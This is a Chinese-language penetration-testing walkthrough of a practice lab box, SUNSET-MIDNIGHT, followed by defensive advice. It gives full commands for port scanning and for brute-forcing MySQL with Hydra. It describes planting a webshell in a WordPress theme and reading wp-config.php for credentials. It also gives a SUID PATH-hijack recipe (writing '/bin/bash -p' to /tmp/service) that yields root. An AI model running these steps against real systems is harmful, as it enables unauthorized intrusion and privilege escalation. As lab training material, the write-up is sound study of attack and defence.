OSCP46靶场-- SUNSET-MIDNIGHT
字数 1365 2025-09-23 19:27:38

OSCP46靶场 SUNSET-MIDNIGHT 渗透测试教学文档

概述

本教学文档基于OSCP46靶场SUNSET-MIDNIGHT的渗透测试过程,详细记录了从信息收集到最终提权的完整攻击链。目标IP为172.16.33.92,涉及WordPress应用、MySQL数据库及Linux系统提权技术。


1. 信息收集

1.1 端口扫描

使用Nmap进行全端口扫描和详细服务识别:

ports=$(nmap -p- --min-rate=1000 -T4 172.16.33.92 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -A -p$ports 172.16.33.92 > n1.txt

关键发现

  • 开放端口:22(SSH)、80(HTTP)、3306(MySQL)
  • 80端口运行WordPress应用
  • 扫描结果显示可能的域名,需添加hosts映射

1.2 域名映射

在/etc/hosts中添加域名映射:

sudo vim /etc/hosts
# 添加:172.16.33.92 sunset-midnight

1.3 WordPress枚举

使用WPScan枚举漏洞、插件和用户:

wpscan --url http://sunset-midnight/ --enumerate vp,vt,u --api-token XXXX

结果

  • 发现后台管理地址
  • 用户admin存在(疑似管理员)
  • 无直接可利用漏洞

1.4 MySQL爆破

针对3306端口爆破MySQL root用户:

hydra -l root -P rockyou.txt 172.16.33.92 mysql -t 16

结果:爆破失败,但后续发现凭据为root/robert


2. 突破边界

2.1 MySQL登录

使用发现的凭据登录MySQL:

mysql -h 172.16.33.92 -uroot -p --skip-ssl
# 密码:robert

2.2 WordPress后台登录

  • 通过MySQL修改WordPress用户密码或直接获取凭据
  • 登录后台:http://sunset-midnight/wp-admin

2.3 主题文件修改

  1. 选择未使用的主题(如Twenty Twenty-One)
  2. 编辑主题的404.php文件,插入WebShell代码
  3. 激活修改后的主题
  4. 访问触发404页面执行WebShell

关键点

  • 直接修改当前主题文件可能失败
  • 通过激活新主题绕过限制

2.4 获取反向Shell

通过WebShell上传反弹Shell脚本或直接写入代码,获取交互式Shell。


3. 提权至普通用户

3.1 配置文件发现

在WordPress配置文件中发现数据库凭据:

cat /var/www/html/wordpress/wp-config.php

发现:MySQL密码(MD5哈希形式),但可直接用于切换用户

3.2 用户切换

使用发现的凭据切换用户:

su - <username> # 输入配置文件中密码

4. 提权至Root

4.1 SUID文件枚举

查找具有SUID权限的文件:

find / -perm -u=s -type f 2>/dev/null

发现可疑文件:/usr/bin/status

4.2 分析status程序

检查程序行为:

/usr/bin/status
strings /usr/bin/status

发现:程序调用system("service"),存在命令劫持可能

4.3 环境变量劫持

  1. 创建恶意service文件:
echo '/bin/bash -p' > /tmp/service
chmod +x /tmp/service
  1. 添加/tmp到PATH环境变量首位:
export PATH=/tmp:$PATH
  1. 运行status程序:
/usr/bin/status

结果:以root权限启动bash shell(-p参数保留特权)


5. 关键知识点总结

  1. 信息收集:Nmap扫描、WPScan枚举、域名映射
  2. 服务爆破:MySQL默认凭据尝试
  3. Web突破:WordPress主题编辑+激活机制绕过
  4. 权限提升
    • 配置文件敏感信息泄露
    • SUID程序+PATH环境变量劫持
  5. 漏洞利用链:数据库→Web后台→文件修改→Shell→提权

6. 防御建议

  1. MySQL安全
    • 禁止root远程登录
    • 使用强密码并定期更换
  2. WordPress安全
    • 限制主题文件修改权限
    • 定期更新插件和主题
  3. 系统安全
    • 清除不必要的SUID权限
    • 监控环境变量修改行为
    • 使用最小权限原则运行服务

附录:常用命令参考

# 端口扫描
nmap -p- --min-rate=1000 -T4 <IP>

# WPScan枚举
wpscan --url <URL> --enumerate vp,vt,u --api-token <TOKEN>

# MySQL登录
mysql -h <IP> -u<user> -p --skip-ssl

# SUID查找
find / -perm -u=s -type f 2>/dev/null

# 环境变量劫持
export PATH=/tmp:$PATH

:本文档仅用于教学目的,请勿用于非法测试。

OSCP46靶场 SUNSET-MIDNIGHT 渗透测试教学文档 概述 本教学文档基于OSCP46靶场SUNSET-MIDNIGHT的渗透测试过程,详细记录了从信息收集到最终提权的完整攻击链。目标IP为172.16.33.92,涉及WordPress应用、MySQL数据库及Linux系统提权技术。 1. 信息收集 1.1 端口扫描 使用Nmap进行全端口扫描和详细服务识别: 关键发现 : 开放端口:22(SSH)、80(HTTP)、3306(MySQL) 80端口运行WordPress应用 扫描结果显示可能的域名,需添加hosts映射 1.2 域名映射 在/etc/hosts中添加域名映射: 1.3 WordPress枚举 使用WPScan枚举漏洞、插件和用户: 结果 : 发现后台管理地址 用户admin存在(疑似管理员) 无直接可利用漏洞 1.4 MySQL爆破 针对3306端口爆破MySQL root用户: 结果 :爆破失败,但后续发现凭据为 root/robert 2. 突破边界 2.1 MySQL登录 使用发现的凭据登录MySQL: 2.2 WordPress后台登录 通过MySQL修改WordPress用户密码或直接获取凭据 登录后台:http://sunset-midnight/wp-admin 2.3 主题文件修改 选择未使用的主题(如Twenty Twenty-One) 编辑主题的404.php文件,插入WebShell代码 激活修改后的主题 访问触发404页面执行WebShell 关键点 : 直接修改当前主题文件可能失败 通过激活新主题绕过限制 2.4 获取反向Shell 通过WebShell上传反弹Shell脚本或直接写入代码,获取交互式Shell。 3. 提权至普通用户 3.1 配置文件发现 在WordPress配置文件中发现数据库凭据: 发现 :MySQL密码(MD5哈希形式),但可直接用于切换用户 3.2 用户切换 使用发现的凭据切换用户: 4. 提权至Root 4.1 SUID文件枚举 查找具有SUID权限的文件: 发现可疑文件 :/usr/bin/status 4.2 分析status程序 检查程序行为: 发现 :程序调用system("service"),存在命令劫持可能 4.3 环境变量劫持 创建恶意service文件: 添加/tmp到PATH环境变量首位: 运行status程序: 结果 :以root权限启动bash shell(-p参数保留特权) 5. 关键知识点总结 信息收集 :Nmap扫描、WPScan枚举、域名映射 服务爆破 :MySQL默认凭据尝试 Web突破 :WordPress主题编辑+激活机制绕过 权限提升 : 配置文件敏感信息泄露 SUID程序+PATH环境变量劫持 漏洞利用链 :数据库→Web后台→文件修改→Shell→提权 6. 防御建议 MySQL安全 : 禁止root远程登录 使用强密码并定期更换 WordPress安全 : 限制主题文件修改权限 定期更新插件和主题 系统安全 : 清除不必要的SUID权限 监控环境变量修改行为 使用最小权限原则运行服务 附录:常用命令参考 注 :本文档仅用于教学目的,请勿用于非法测试。